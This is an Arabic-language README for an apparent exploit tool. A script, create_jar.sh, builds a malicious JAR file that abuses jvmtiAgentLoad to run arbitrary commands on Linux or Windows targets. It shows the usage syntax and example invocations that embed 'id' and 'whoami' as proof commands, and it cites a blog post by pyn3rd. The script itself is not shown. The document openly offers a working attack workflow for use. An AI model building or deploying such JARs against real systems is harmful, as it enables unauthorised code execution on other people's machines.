تنفيذ تعليمات برمجية عشوائية عبر jvmtiAgentLoad

الوصف:

أدوات وكود لإنشاء ملف JAR خبيث لاستغلال jvmtiAgentLoad

الاستخدام:

$ bash create_jar.sh 
Usage: create_jar.sh <TARGET_OS> <COMMAND>
Supported TARGET_OS options: linux|windows

هدف Linux

ينشئ الأمر التالي ملف JAR (mal.jar) يمكن استخدامه على هدف Linux:

bash create_jar.sh linux 'id > /tmp/jvmtiLoadAgent_test'

هدف Windows

ينشئ الأمر التالي ملف JAR (mal.jar) يمكن استخدامه على هدف Windows:

bash create_jar.sh windows 'whoami > C:\\Users\\Public\\jvmtiLoadAgent_test.txt'

موارد إضافية:

مقال المدونة حول كيفية عمل استغلال jvmtiAgentLoad بواسطة pyn3rd